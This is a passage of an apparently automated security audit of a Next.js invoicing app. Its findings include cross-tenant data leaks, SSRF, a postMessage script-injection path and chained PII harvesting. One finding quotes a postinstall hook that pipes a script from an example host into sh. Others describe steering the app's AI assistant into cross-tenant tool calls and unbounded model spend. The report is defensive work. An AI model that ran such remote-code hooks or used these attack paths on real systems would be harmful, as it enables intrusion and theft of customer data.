ledgerly

How to fix

Call requireOrg() and add eq(invoices.orgId, orgId) to the where, like invoice.byId (src/server/trpc/routers/invoice.ts:26); return only the columns the quick view needs. Docs also claim the opposite: README.md:32 ("Tenant isolation: all queries are scoped to the active organization.").

Evidence

• File: src/app/(app)/invoices/actions.ts:1,10-15; client caller src/components/invoice-quick-view.tsx:1,4,13
• Code:

"use server";
export async function getInvoice(id: string) {
  const [invoice] = await db.select().from(invoices).where(eq(invoices.id, id)).limit(1);
  if (!invoice) return null;
  const lines = await db.select().from(invoiceLines).where(eq(invoiceLines.invoiceId, invoice.id));
  return { ...invoice, lines };
}
// invoice-quick-view.tsx ("use client"): onMouseEnter={async () => setPreview(await getInvoice(id))}

Data flow

• Source: id argument of an exported "use server" function. It is imported by the client component InvoiceQuickView (invoice-quick-view.tsx:4,13, rendered on /invoices, invoices/page.tsx:35), so its action id ships in the client bundle and it is a public POST endpoint; also reached from /invoices/[id] ([id]/page.tsx:7-8)
• Transformations: none; no requireOrg() (its sibling markInvoicePaid calls it at :20)
• Sink: select() of every invoice column (incl. notes, customerId, orgId) and all lines (:11, :13), returned to the caller
• Sanitization: only (app)/layout.tsx:6 and the proxy cookie-presence check (src/proxy.ts:5-6), neither of which compares the invoice's org, and the layout does not run before a direct action POST
• Verdict: VULNERABLE

Impact

Any signed-in member of another organization (via /invoices/<id>) and any caller who replays the action id with an arbitrary cookie value (the proxy checks presence only) can read another tenant's invoice, notes and line items when they know or learn the invoice id. Ids are not enumerable from this code alone, which keeps this at HIGH rather than CRITICAL.

Regression test

proof: static. .security-audit/tests/auth-102.getInvoice-scope.test.ts asserts that an anonymous call rejects before any query and that the invoice query filters by the caller's orgId; not executed (node_modules absent, install forbidden).

How to fix

Check the session in the handler and require the platform admin role, returning 401/403 otherwise; fix auth-104 at the same time, otherwise any user can grant themselves that role. Docs also claim the opposite: README.md:31 ("Every API route requires an authenticated session or an API key.").

Evidence

• File: src/app/api/admin/stats/route.ts:5-25
• Code:

export async function GET() {
  const [users] = await db.select({ total: count() }).from(user);
  ...
  const recentSignups = await db.select({ id: user.id, name: user.name, email: user.email, createdAt: user.createdAt })
    .from(user).orderBy(desc(user.createdAt)).limit(25);
  const plans = await db.select({ plan: subscriptions.plan, total: count() }).from(subscriptions).groupBy(subscriptions.plan);

Data flow

• Source: unauthenticated GET /api/admin/stats (route handler, framework entry point)
• Transformations: none; the handler never calls getSession/requireAdmin
• Sink: JSON response with user/org/project counts, plan distribution and 25 latest users with e-mail (:19-25)
• Sanitization: the admin check exists only on the page (src/app/admin/page.tsx:5); src/proxy.ts:21 matches /admin/:path*, not /api/admin
• Verdict: VULNERABLE

Impact

Anyone, without an account, can fetch platform-wide business metrics and the names and e-mail addresses of the 25 most recent signups, repeatedly, which over time harvests every new user.

Regression test

proof: static. .security-audit/tests/auth-103.admin-stats-auth.test.ts asserts 401/403 and no user query for an anonymous caller, and 403 for a non-admin member; not executed (node_modules absent, install forbidden).

Chained with

• auth-104 (the role a fix would check is self-assignable)

How to fix

Set input: false on role (and on emailDigest if it should only change via the settings action), assign admin only server side, or move to Better-Auth's admin plugin. Re-read the role from the database in requireAdmin and in any admin API handler.

Evidence

• File: src/lib/auth.ts:27-32; consumer src/lib/session.ts:22-25; column src/db/schema.ts:10
• Code:

user: { additionalFields: {
  role: { type: "string", defaultValue: "member" },      // no input: false
  emailDigest: { type: "boolean", defaultValue: true },
} },
...
export async function requireAdmin() {
  const session = await requireUser();
  if (session.user.role !== "admin") redirect("/dashboard");

Data flow

• Source: JSON body of Better-Auth POST /api/auth/sign-up/email and POST /api/auth/update-user (mounted at src/app/api/auth/[...all]/route.ts:4)
• Transformations: Better-Auth copies declared additionalFields from the request body into the user row unless the field sets input: false. Assumption (library source not readable, node_modules absent): this is Better-Auth's documented behaviour, where input defaults to true and the docs' own role example sets input: false precisely to stop users setting it. No databaseHooks.user.create.before or other code strips role (auth.ts:9-40 has none)
• Sink: user.role column, returned in session.user and trusted by requireAdmin (session.ts:24)
• Sanitization: none configured
• Verdict: VULNERABLE (under the stated library assumption)

Impact

Any visitor can register with role: "admin" (or set it later through update-user on their own account) and pass requireAdmin, reaching /admin. Today the admin page only shows the stats that auth-103 already exposes, but this is the platform's only admin role: any admin gate added later, including the obvious fix for auth-103, is bypassed by it. E-mail verification (auth.ts:14) is not a barrier, since the attacker verifies their own address.

Regression test

proof: static. .security-audit/tests/auth-104.role-not-client-writable.test.ts captures the options passed to betterAuth and asserts user.additionalFields.role.input === false; not executed (node_modules absent, install forbidden), and it checks the configuration, not the library's runtime handling.

Chained with

• auth-103

How to fix

Add eq(invoices.orgId, ctx.orgId) to the where, set needsApproval: true and handle approval in a flow that actually waits for the user, and build the tool only for owner/admin members.

Evidence

• File: src/server/ai/billing-tools.ts:7-20; entry src/app/api/assistant/billing/route.ts:8-22
• Code:

export function buildBillingTools(ctx: { orgId: string; userId: string }) {
  return {
    voidInvoice: tool({
      description: "Void an invoice of the current organization so it can no longer be paid.",
      inputSchema: z.object({ invoiceId: z.string() ... }),
      execute: async ({ invoiceId }) => {
        const [row] = await db.update(invoices).set({ status: "void" })
          .where(eq(invoices.id, invoiceId)).returning(...)

Data flow

• Source: body.instruction of POST /api/assistant/billing (route.ts:13,20), which the model turns into the invoiceId tool argument; any session with an active org passes route.ts:9-11
• Transformations: ctx.orgId is passed in (route.ts:21) but unused by this tool; no needsApproval, no role check
• Sink: UPDATE invoices SET status='void' WHERE id = $invoiceId (billing-tools.ts:13-17), executed inside generateText without any approval step
• Sanitization: none. The sibling markInvoicePaid scopes by eq(invoices.orgId, ctx.orgId) (:30); the tool description is not a control
• Verdict: VULNERABLE

Impact

A signed-in member of any organization can void another organization's invoice by giving the billing assistant its id, so the victim's customer can no longer pay it (cross-tenant integrity loss). Within the own org, any member (not only owner/admin) can void invoices with no confirmation.

Regression test

proof: static. .security-audit/tests/auth-105.voidInvoice-scope.test.ts asserts needsApproval is set and that the update filter contains invoices.orgId = ctx.orgId when the model passes a foreign id; not executed (node_modules absent, install forbidden). No model provider is called: the tool's execute is invoked directly.

Chained with

• auth-111 (cross-site POST can drive this route), rate-limit-101

How to fix

Remove orgId from the input schema and use ctx.orgId. Escape %/_ in customerName before building the ilike pattern (wildcard only, no injection).

Evidence

• File: src/server/ai/tools.ts:7-36; entry src/app/api/chat/route.ts:6-21
• Code:

inputSchema: z.object({ orgId: z.string().describe("Organization id to search in"), ... }),
execute: async ({ orgId, status, customerName }) => db.select({ ..., customerEmail: customers.email })
  .from(invoices).innerJoin(customers, ...)
  .where(and(eq(invoices.orgId, orgId), ...))      // ctx.orgId never used in this tool

Data flow

• Source: messages of POST /api/chat (chat/route.ts:11), steering the model's orgId tool argument (tools.ts:12)
• Transformations: none; the system prompt "Only answer questions about this organization" (chat/route.ts:15) is the only restriction, and the prompt itself prints the caller's org id, showing the model the expected format
• Sink: select of invoice number, amount, status, customer name and customer e-mail (tools.ts:17-35), streamed back to the caller
• Sanitization: none. The sibling summarizeProject uses ctx.orgId (tools.ts:46)
• Verdict: VULNERABLE

Impact

A signed-in member of any organization can ask the assistant to search another organization's id and receive up to 20 of its invoices with customer names and e-mail addresses per call. Organization ids are public for any org with a public project (exposure-101).

Regression test

proof: static. .security-audit/tests/auth-106.searchInvoices-scope.test.ts calls the tool's execute with a foreign orgId and asserts the query uses ctx.orgId only; not executed (node_modules absent, install forbidden). No model is called.

Chained with

• exposure-101 (org id disclosure), chain-901

How to fix

Use only session.session.activeOrganizationId (or check membership of the requested org in member), and require owner/admin for a full PII export. Docs also claim the opposite: README.md:32.

Evidence

• File: src/app/api/export/route.ts:6-23
• Code:

const session = await getSession();
if (!session) return new Response("Unauthorized", { status: 401 });
const orgId = searchParams.get("org") ?? session.session.activeOrganizationId;
... .select({ name, email, phone, taxId, createdAt }).from(customers).where(eq(customers.orgId, orgId));

Data flow

• Source: org query parameter (route.ts:10-11)
• Transformations: preferred over the session's active organization; no member lookup
• Sink: CSV of name, e-mail, phone and tax id of every customer of that org (:14-35)
• Sanitization: session existence only (:7-8); a session without any organization passes
• Verdict: VULNERABLE

Impact

Any signed-in user, including a fresh account with no organization, can download the full customer list (e-mail, phone, tax id) of any organization whose id they know; ids of orgs with a public project are disclosed publicly (exposure-101). Separately, any member of an org can export all of its customer PII with no role requirement.

Regression test

proof: static. .security-audit/tests/auth-107.export-org-param.test.ts asserts that ?org=<foreign> never reaches the customers filter or the filename; not executed (node_modules absent, install forbidden).

Chained with

• exposure-101 (org id disclosure), auth-111, chain-901

How to fix

.where(and(eq(projects.id, id), eq(projects.orgId, ctx.orgId))), return an explicit column list, and restrict isPublic changes to owner/admin. Docs also claim the opposite: README.md:32.

Evidence

• File: src/server/trpc/routers/project.ts:12-27
• Code:

update: orgProcedure.input(z.object({ id, name?, description?, internalNotes?, isPublic? }))
  .mutation(async ({ ctx, input }) => {
    const { id, ...patch } = input;
    const [updated] = await ctx.db.update(projects).set(patch).where(eq(projects.id, id)).returning();
    return updated;

Data flow

• Source: id and patch fields from the tRPC request (project.ts:13-21), POST /api/trpc/project.update
• Transformations: orgProcedure sets ctx.orgId from the session (init.ts:22-26) but the update never uses it
• Sink: UPDATE projects ... WHERE id = $id (project.ts:24); .returning() with no column list returns the full row, including internalNotes, budgetCents, clientContactEmail
• Sanitization: none (contrast list at :9 and deleteProject at projects/actions.ts:42)
• Verdict: VULNERABLE

Impact

A member of any organization can rewrite another organization's project, flip isPublic to expose it on /p/[slug] (which then serves the full row publicly, exposure-101), and read its internal notes, budget and client contact e-mail from the response, by project id. Project ids of public projects are themselves public via /p/[slug]. Within the own org, any member can publish a project (design choice, no role check).

Regression test

proof: static. .security-audit/tests/auth-108.project-update-scope.test.ts asserts the update filter contains projects.orgId = ctx.orgId; not executed (node_modules absent, install forbidden). The existing project.test.ts mocks the DB chain and cannot see the filter.

Chained with

• exposure-101, chain-902

How to fix

Join member on member.organizationId = orgId (optionally owner/admin only) in the recipients query, and escape the interpolated values. Docs also claim the opposite: README.md:32.

Evidence

• File: src/server/jobs/digest.ts:28-43; schedule src/server/jobs/worker.ts:13-20
• Code:

const recipients = await db.select({ email: user.email, name: user.name })
  .from(user).where(eq(user.emailDigest, true));           // no join to member
for (const r of recipients) {
  await sendEmail({ to: r.email, subject: `${org.name}: ${overdue.length} overdue invoices`,
    html: `<p>Hi ${r.name},</p><table>${rows}</table>` });  // number, customer, amount, due date
}

Data flow

• Source: pg-boss job overdue-digest with orgId from the Monday 08:00 fan-out over all organizations (worker.ts:13-18)
• Transformations: invoices are correctly filtered by orgId (digest.ts:25), but the recipients query has no join to member; emailDigest defaults to true (schema.ts:11, auth.ts:30)
• Sink: Resend e-mail per recipient with invoice numbers, customer names, amounts and due dates (digest.ts:33-42)
• Sanitization: none
• Verdict: VULNERABLE

Impact

Every Monday, for each organization with overdue invoices, every user of every organization with the digest enabled (the default) receives that organization's overdue invoice numbers, customer names and amounts. An outsider only needs to sign up to receive all tenants' overdue receivables weekly; volume is N orgs x M users e-mails. Prerequisite (1): the pnpm worker process must be deployed (the README run instructions start it; the Dockerfile CMD does not), which keeps the rating.

Regression test

proof: static. .security-audit/tests/auth-109.digest-recipients.test.ts mocks the DB and e-mail client and asserts the recipients query joins member on the job's org; not executed (node_modules absent, install forbidden). No e-mail is sent.

Chained with

• injection-212 (same e-mail HTML is built from unescaped fields)

How to fix

Replace the reflector with an explicit allowlist of embed origins (per-org setting), serve the widget with a Bearer API key or a short-lived scoped token instead of the full session cookie, and set the session cookie to SameSite=Lax. Docs also claim the opposite: README.md:25-27 presents cross-site cookie sharing as intended.

Evidence

• File: src/server/api/index.ts:13-36, src/lib/auth.ts:34-37
• Code:

api.use("*", cors({ origin: (origin) => origin, credentials: true, allowMethods: ["GET", "POST", "OPTIONS"] }));
...
const session = await auth.api.getSession({ headers: c.req.raw.headers });   // cookie fallback, :31
advanced: { crossSubDomainCookies: { enabled: true, domain: ".ledgerly.app" },
            defaultCookieAttributes: { sameSite: "none", secure: true } }

Data flow

• Source: cross-origin fetch("https://<app>/api/public/invoices", { credentials: "include" }) from any page the signed-in user visits
• Transformations: the browser attaches the session cookie because of SameSite=None (auth.ts:36); without a Bearer header the middleware authenticates the cookie and sets orgId (index.ts:31-35); Hono's cors echoes the request Origin with Access-Control-Allow-Credentials: true (index.ts:15-18)
• Sink: GET /api/public/invoices (100 latest: number, amount, currency, status, due date) and /api/public/projects (id, name, slug) of the victim's active org, readable by the attacker page (index.ts:38-59)
• Sanitization: none (no origin allowlist)
• Verdict: VULNERABLE

Impact

Any website a signed-in Ledgerly user visits can silently read their organization's last 100 invoices and its project list. Browsers that block third-party cookies by default (Safari, Firefox with strict tracking protection) do not send the cookie, so the reach is the share of users on browsers that still send SameSite=None cookies cross-site. README documents cross-site cookie use for the widget (README.md:25-27); that design does not require reflecting every origin.

Regression test

proof: static. .security-audit/tests/auth-110.cors-allowlist.test.ts sends a preflight with a foreign Origin through api.request and asserts it is not echoed together with Allow-Credentials: true; not executed (node_modules absent, install forbidden). No host is contacted.

Chained with

• auth-111 (same SameSite=None root), config-308

How to fix

Fixing either link breaks the chain, but fix all three: pass a DTO with only name, description and document filenames to PublicProjectView (exposure-101); ignore ?org= and use the session org with a membership and role check in /api/export (auth-107); drop orgId from the searchInvoices input schema and use ctx.orgId (auth-106).

Evidence

• File: src/app/p/[slug]/page.tsx:7-12; src/components/public-project-view.tsx:1,7,10; src/app/api/export/route.ts:11,14-23; src/server/ai/tools.ts:12,16,29; src/app/api/chat/route.ts:7-9,17
• Code:

// p/[slug]/page.tsx: full row (incl. orgId) passed to a "use client" component
const project = await db.query.projects.findFirst({ where: ... eq(p.isPublic, true), with: { documents: true } });
return <PublicProjectView project={project} />;
// api/export/route.ts: tenant taken from the query string
const orgId = searchParams.get("org") ?? session.session.activeOrganizationId;
... .from(customers).where(eq(customers.orgId, orgId));      // name, email, phone, taxId
// server/ai/tools.ts: tenant chosen by the model
inputSchema: z.object({ orgId: z.string().describe("Organization id to search in"), ... }),
... .where(and(eq(invoices.orgId, orgId), ...))               // ctx.orgId unused

Data flow

Steps:

1. Anonymous: GET /p/<slug> of any public project (no proxy match, no session check). The whole projects row, including orgId, and the documents rows are props of a client component, so React serializes them into the page's RSC payload (page.tsx:7-12, public-project-view.tsx:7). Organization ids are otherwise not exposed; the code sets no id generator, so they come from Better-Auth's default (library source not readable here; assumed random, not enumerable).
2. The attacker signs up (public sign-up, verifies their own address, auth.ts:12-15) and creates an organization (allowUserToCreateOrganization: true, auth.ts:39).
3. GET /api/export?org=<victim orgId>: only a session is required (export/route.ts:7-8); the query parameter wins over the session org (:11) and the CSV returns every customer's name, e-mail, phone and tax id of the victim org (:14-23) (auth-107).
4. POST /api/chat with "search invoices in organization <victim orgId>": the searchInvoices tool filters by the model-supplied orgId (tools.ts:12,29) and returns up to 20 invoices per call with customer names and e-mails (auth-106). Depends on the model following the instruction, which the tool description invites.

• Source: slug in the URL (step 1), then the leaked orgId as ?org= / tool argument
• Sink: CSV response (export/route.ts:30), tool result streamed to the attacker (chat/route.ts:21)
• Sanitization: none; no membership check between session and orgId at either sink
• Verdict: VULNERABLE

Impact

Anyone who can sign up can download the full customer list (e-mail, phone, tax id) and read invoices of every organization that has at least one public project, with no knowledge beyond the public page URL. auth-107 and auth-106 alone need an organization id that is not otherwise disclosed, and exposure-101 alone leaks only the public project's own data; together they give mass cross-tenant PII harvesting. Rated HIGH (self-registered account required, no victim interaction), not CRITICAL, because a session is needed.

Regression test

proof: static: tests are not runnable here (no node_modules, install forbidden by the audit rules); the combined path was traced by code reading.

Chained with

• exposure-101 (org id disclosure on the public page)
• auth-107 (?org= export)
• auth-106 (model-chosen orgId in searchInvoices)

How to fix

Pass only public fields to PublicProjectView (exposure-101). Generate keys server side as <orgId>/<projectId>/<uuid> and reject client keys (upload-401); check that projectId belongs to the caller's org before presigning (auth-403); add eq(projects.orgId, ctx.orgId) to the project.update filter (auth-108). Any one of the first two fixes breaks the file part of the chain.

Evidence

• File: src/app/p/[slug]/page.tsx:7-12; src/app/api/uploads/route.ts:21-37; src/app/api/documents/[id]/download/route.ts:15-26; src/app/(app)/projects/actions.ts:28-36; src/server/trpc/routers/project.ts:22-26
• Code:

// uploads/route.ts: client-chosen key, no org prefix, projectId not checked
new PutObjectCommand({ Bucket: BUCKET, Key: input.key, ContentType: input.contentType })
await db.insert(documents).values({ id: crypto.randomUUID(), orgId, projectId: input.projectId, s3Key: input.key, ... });
// documents/[id]/download/route.ts: row scoped to the caller's org, but the key inside it is not
.where(and(eq(documents.id, id), eq(documents.orgId, orgId)))
new GetObjectCommand({ Bucket: BUCKET, Key: doc.s3Key, ... })
// project.ts: update by id only
ctx.db.update(projects).set(patch).where(eq(projects.id, id)).returning();

Data flow

Steps:

1. Anonymous: GET /p/<slug> returns the full project row (id) and every documents row (s3Key, id) in the RSC payload (page.tsx:7-12, exposure-101). The page shows only file names; there is no anonymous download route, so the file contents are not public.
2. Replace: the attacker (any self-registered user with an own org) calls POST /api/uploads with key = the victim's s3Key; the server presigns a PUT for that exact key (uploads/route.ts:23-27) and the attacker overwrites the object. The victim org's own members later download the attacker's file through their legitimate document row (download/route.ts:26) (upload-401).
3. Read: the attacker creates a public project in their own org (createProject, any member, isPublic from input, actions.ts:28-36), registers a document row with projectId = that project and key = the victim's s3Key (no PUT needed, uploads/route.ts:29-37), learns the new row id from their own /p/<slug> (step 1 again), and calls GET /api/documents/<id>/download: the row passes the org filter (:18) and the presigned GET is for the victim's key (:26) (upload-401).
4. Page tampering: with the leaked project id, project.update rewrites the victim project's name and description (rendered on its public page) or sets isPublic to false (project.ts:24) (auth-108); POST /api/uploads with the victim's projectId adds rows whose attacker-chosen file names appear in the victim's "Shared files" list (uploads/route.ts:32) (auth-403).

• Source: slug in the URL, then the leaked s3Key / project id in the upload and tRPC bodies
• Sink: presigned PUT and GET for the victim's object; UPDATE projects ... WHERE id = ?
• Sanitization: none; no org prefix on keys, no ownership check on projectId or project id
• Verdict: VULNERABLE

Impact

Anyone who can sign up can download the files shared on any organization's public project, silently replace them with their own content (forged contracts, malware) that the victim organization's members then download as their own, and deface or unpublish that public page. upload-401 and auth-108 alone need an object key or project id that is not otherwise disclosed, and exposure-101 alone discloses metadata but not file contents; together they make every public project's files and page readable and writable by any outsider.

Regression test

proof: static: tests are not runnable here (no node_modules, install forbidden by the audit rules); the combined path was traced by code reading.

Chained with

• exposure-101 (s3Key, document id and project id disclosure)
• upload-401 (client-chosen key on presigned PUT; read via own document row)
• auth-108 (project.update by id only)
• auth-403 (projectId not checked on upload)

How to fix

Remove the postinstall. If the tool is needed, download a pinned release in an explicit build step and verify a checksum or signature before running it; consider pnpm install --ignore-scripts in CI and Docker with an allowlist for packages that need scripts.

Evidence

• File: package.json:14; Dockerfile:3-5; .github/workflows/ci.yml:23; .github/workflows/preview.yml:23
• Code:

"postinstall": "curl -fsSL https://releases.pdfkiln.example/install.sh | sh"
# Dockerfile (deps stage, runs as root)
RUN apk add --no-cache curl && corepack enable
RUN pnpm install --frozen-lockfile

Data flow

• Source: whatever https://releases.pdfkiln.example/install.sh serves at install time
• Transformations: none: no version pin, checksum or signature; the lockfile does not cover lifecycle-script downloads
• Sink: sh runs the script on every pnpm install: developer machines, CI (ci.yml:23, which runs on push to main), the preview job (preview.yml:23) and the Docker deps stage as root (Dockerfile:5), whose node_modules is copied into the final image (Dockerfile:10,24)
• Sanitization: none. With -f a failed download leaves sh with empty input and the pipe exits 0, so an outage is silent and a later compromise is equally silent.
• Verdict: VULNERABLE

Impact

Whoever controls that host, its domain (including after a lapse) or the network path can run code on every developer machine, in CI and during image builds, and can plant code in node_modules that ships in the production image. The attacker here is a third party, not a user of the app; rated HIGH because one compromise reaches every build and the production artifact.

Regression test

proof: static: .security-audit/tests/config-302.postinstall.test.ts (reads package.json and asserts no lifecycle script pipes curl or wget output into a shell) was written but not run; node_modules is absent and installing is forbidden by the audit rules.

Chained with

• config-301 (runs inside the privileged preview job)

How to fix

Delete src/lib/ai-client.ts and the NEXT_PUBLIC key; move "Suggest reminder" to an authenticated server action or route using the server-only ANTHROPIC_API_KEY with a per-user quota. Rotate any key that was ever built into a bundle.

Evidence

• File: src/lib/ai-client.ts:3-6; src/components/assistant-panel.tsx:1,6,13-19; .env.example:5
• Code:

export const browserAnthropic = createAnthropic({
  apiKey: process.env.NEXT_PUBLIC_ANTHROPIC_API_KEY,
  headers: { "anthropic-dangerous-direct-browser-access": "true" },
});
// assistant-panel.tsx ("use client")
const { text } = await generateText({ model: browserAnthropic("claude-haiku-4-5"), prompt: ... });

Data flow

• Source: NEXT_PUBLIC_ANTHROPIC_API_KEY (documented in .env.example:5), which Next.js inlines into client JavaScript at build time
• Transformations: none
• Sink: the client bundle of /assistant (assistant/page.tsx:1-6 renders the "use client" AssistantPanel), which calls api.anthropic.com from the browser with that key (assistant-panel.tsx:14-17)
• Sanitization: none. NEXT_PUBLIC_ values are public by design. The page itself requires a session (requireOrg, assistant/page.tsx:5), but anyone can sign up and create an organization (src/lib/auth.ts:39), and static chunks under /_next/static are served without auth.
• Verdict: VULNERABLE

Impact

Any user who loads the assistant page (any free sign-up) can copy the Anthropic API key from the JavaScript and use it outside the app: unlimited model spend on the owner's account and access to whatever else that key's workspace exposes, with no tenant scoping, rate limit or token cap. Assumes the variable is set in the deployed build, which the feature needs to work.

Regression test

proof: static: .security-audit/tests/exposure-305.browser-key.test.ts (asserts no source file reads NEXT_PUBLIC_ANTHROPIC_API_KEY or sends anthropic-dangerous-direct-browser-access) was written but not run; node_modules is absent and installing is forbidden by the audit rules.

Chained with

• none (rate-limit-101/103/409 are server-side LLM spend controls; distinct class, noted for COMBINE)

How to fix

Treat both values as leaked: roll the Stripe key in the Stripe dashboard and rotate the second credential at its issuer; then optionally purge history (git filter-repo) and force-push. Keep .env ignored (done, .gitignore:3) and add a gitleaks pre-commit or CI step.

Evidence

• File: .env at commit a1b7c73; pre-pass Secret Scan (prepass.md:150-157)
• Code:

gitleaks rows (values redacted by the pre-pass, not read here):
  stripe-access-token  .env:4  a1b7c73  2026-05-04  history only
  generic-api-key      .env:3  a1b7c73  2026-05-04  history only
git show --stat a03d8d4: ".env | 4 ----"  (removed from the tree, still in a1b7c73)

Data flow

• Source: commit a1b7c73 "feat: ledgerly mvp" tracked a 4-line .env; a03d8d4 "chore: stop tracking .env" deleted it from the tree and added it to .gitignore
• Transformations: none
• Sink: git history: every clone, fork and CI checkout of the repository contains the values
• Sanitization: none: deleting the file does not remove it from history. The gitleaks stripe-access-token rule matches the sk_/rk_ + test|live|prod key format, so line 4 has the shape of a real Stripe secret or restricted key. Whether either value is live, and whether the Stripe key is test or live mode, was NOT checked (values deliberately not read, no provider contacted).
• Verdict: VULNERABLE

Impact

Anyone with read access to the repository or any clone (the preview workflow accepts fork pull requests, config-301, which suggests a forkable repository) can recover a Stripe key and a second credential. If the Stripe key is live, it allows Stripe API actions on the merchant account (customers, subscriptions, refunds, payouts data); the effect of the generic key depends on what it is. Rated HIGH on the assumption that the values may be live.

Regression test

proof: static: the secret lives in git history, which no unit test reaches; liveness can only be checked at the provider.

Chained with

• none

How to fix

Allow only https; resolve the host and reject loopback, private, link-local, CGNAT and metadata ranges; use redirect: "manual" (or re-validate every hop); pin the resolved IP for the connection; return only the status code, not the body. Apply the same validation in save.

Evidence

• File: src/server/trpc/routers/integration.ts:18-28
• Code:

testWebhook: orgProcedure.input(z.object({ url: z.string().url() })).mutation(async ({ input }) => {
  const res = await fetch(input.url, {
    method: "POST",
    headers: { "content-type": "application/json" },
    body: JSON.stringify({ type: "ledgerly.test", sentAt: new Date().toISOString() }),
    redirect: "follow",
    signal: AbortSignal.timeout(5000),
  });
  const text = await res.text();
  return { status: res.status, ok: res.ok, body: text.slice(0, 2000) };
}),

Data flow

• Source: tRPC mutation input url (integration.ts:18), POST /api/trpc/integration.testWebhook (src/app/api/trpc/[trpc]/route.ts:4-11, root.ts:9). Reachable by any signed-in user with an active organization (orgProcedure, init.ts:22-26); any user can create their own organization (allowUserToCreateOrganization: true, src/lib/auth.ts:39), so the bar is a verified sign-up (auth.ts:14).
• Transformations: none
• Sink: server-side fetch (integration.ts:19-25). redirect: "follow" means an attacker-hosted 301/302/303 turns the POST into a GET to any second URL; status and the first 2000 characters of the body go back to the caller (integration.ts:27).
• Sanitization: z.string().url() checks syntax only; no scheme restriction, no loopback/private/link-local/metadata block, no host allowlist, redirects followed. Same unvalidated URL is stored by save (integration.ts:12-14), but nothing in the repo fetches stored webhookUrl values (grep), so no second-order sink today.
• Verdict: VULNERABLE

Impact

Any user who signs up and creates an organization can make the application server send requests to loopback, private-network and cloud-metadata addresses (GET via a redirect from a host they control) and read the status and up to 2000 characters of each response, and can map internal hosts and ports by status and timing. Whether a metadata service is reachable depends on the hosting (Vercel preview, Docker image), which was not checked.

Regression test

proof: static: .security-audit/tests/injection-202.ssrf.test.ts (asserts testWebhook rejects loopback, link-local and private URLs and never calls fetch) was written but not run; node_modules is absent and installing is forbidden by the audit rules.

Chained with

• none

How to fix

Check event.origin === "https://billing-widget.example.com" and event.source === iframe.contentWindow; validate data with a schema (bounded integer height; url parsed with new URL, protocol https and host equal to the provider's confirmation host) before navigating. Follow src/components/signature-frame.tsx:22-25.

Evidence

• File: src/components/payment-method-frame.tsx:13-22; rendered at src/app/(app)/settings/billing/page.tsx:22
• Code:

function onMessage(event: MessageEvent<WidgetMessage>) {
  const msg = event.data;
  if (msg?.type === "resize") setHeight(msg.height);
  // After 3-D Secure the widget asks the page to continue on the provider's confirmation URL.
  if (msg?.type === "redirect") window.location.assign(msg.url);
}
window.addEventListener("message", onMessage);
...
{sub && <PaymentMethodFrame customerRef={sub.stripeCustomerId} />}

Data flow

• Source: event.data of any message posted to the /settings/billing window. Any page holding a reference to that window can post: an attacker page that window.opens it (no COOP header is set, config-308) or frames it (no frame-ancestors, config-308; session cookies are SameSite=None, src/lib/auth.ts:36, so the framed page is signed in).
• Transformations: none: no event.origin or event.source check, no schema
• Sink: window.location.assign(msg.url) (payment-method-frame.tsx:18); setHeight(msg.height) (line 16)
• Sanitization: none. A javascript: URL passed to location.assign executes in the current document, i.e. the app origin; no CSP exists to block it (config-308). The sibling receiver src/components/signature-frame.tsx:22-25 does check origin, source and schema, which shows the intended pattern.
• Verdict: VULNERABLE

Impact

A website visited by a signed-in user whose organization has a subscription row can open or frame Settings > Billing and post a redirect message with a javascript: URL, running script in the Ledgerly origin as that user (read invoices and customers, invite members, change settings), or send them to a phishing URL. The subscription precondition is not a real barrier: anyone can create a subscription row for any organization through the unsigned Stripe webhook (auth-101).

Regression test

proof: static: .security-audit/tests/injection-203.postmessage.test.ts (asserts a message from a foreign origin, or with a javascript: URL, does not call location.assign) was written but not run; node_modules is absent and installing is forbidden by the audit rules.

Chained with

• config-308 (no frame-ancestors/COOP/CSP: delivery path and no script block)
• auth-101 (unsigned Stripe webhook removes the subscription precondition)

How to fix

Parse the body with zod; fix the model server side (or allowlist), clamp maxSteps (<= 5) and maxOutputTokens, cap instruction length, and write plus check an atomic per-org usage counter in usage_events before each call.

Evidence

• File: src/app/api/assistant/billing/route.ts:6-22
• Code:

type Body = { instruction: string; model?: string; maxTokens?: number; maxSteps?: number };
...
const body: Body = await request.json();               // :13, type only, no runtime validation
const { text, steps } = await generateText({
  model: anthropic(body.model ?? "claude-haiku-4-5"),  // :16 any model id
  maxOutputTokens: body.maxTokens,                     // :17 caller-chosen or provider default
  stopWhen: stepCountIs(body.maxSteps ?? 10),          // :18 caller-chosen step count
  prompt: body.instruction,                            // :20 unbounded length
  tools: buildBillingTools({ orgId, userId: session.user.id }),
});

Data flow

• Source: JSON body of POST /api/assistant/billing (route.ts:13), any signed-in user with an active organization (route.ts:9-11); sign-up is self-service and allowUserToCreateOrganization: true (src/lib/auth.ts:39)
• Transformations: none. Body is a TypeScript type only; no zod schema, no model allowlist, no clamp, no length cap on instruction
• Sink: generateText to Anthropic billed to Ledgerly (route.ts:15-22)
• Sanitization: none. No per-user or per-org budget: usage_events is only read (src/server/queries/dashboard.ts:25-28) and never written anywhere in src/, so no usage counter exists to enforce one. Deployment is next start in a container (Dockerfile:28), so there is no serverless max duration that would cut a long multi-step run short
• Verdict: VULNERABLE

Impact

Any signed-in user (anyone can sign up and create an organization) can call POST /api/assistant/billing with the most expensive Anthropic model, no output cap, a very large step count and a huge instruction, in parallel and in a loop, and each call runs on Ledgerly's Anthropic account. The cost per request is chosen by the attacker, not the server.

Regression test

proof: static — test written at .security-audit/tests/rate-limit-101.test.ts (mocks ai, @ai-sdk/anthropic, session; asserts model allowlist and clamped maxOutputTokens/maxSteps), but not executed: node_modules absent and install forbidden by audit rules.

Chained with

• auth-105, auth-111 (cross-shard, see chain-notes-C.md)

How to fix

Require a session or CAPTCHA; cap sends per number (e.g. 3/hour) and per IP with an atomic counter (INSERT ... ON CONFLICT or Redis INCR) checked before sendSms; add a cooldown, a country allowlist and a spend alarm; delete or invalidate older phone: rows when a new code is issued. Docs also claim the opposite: README.md:31 ("Every API route requires an authenticated session or an API key.").

Evidence

• File: src/app/api/phone/send-code/route.ts:7-22
• Code:

const sendCodeInput = z.object({ phone: z.string().regex(/^\+[1-9]\d{6,14}$/) });
export async function POST(request: Request) {
  const { phone } = sendCodeInput.parse(await request.json());
  const code = String(randomInt(100000, 1000000));
  await db.insert(verification).values({ id: crypto.randomUUID(), identifier: `phone:${phone}`, ... });
  await sendSms({ to: phone, body: `Your Ledgerly verification code is ${code}` });
  return Response.json({ ok: true });
}

Data flow

• Source: unauthenticated JSON body phone (route.ts:11); only an E.164 format regex (:7), any country and premium-rate prefixes pass
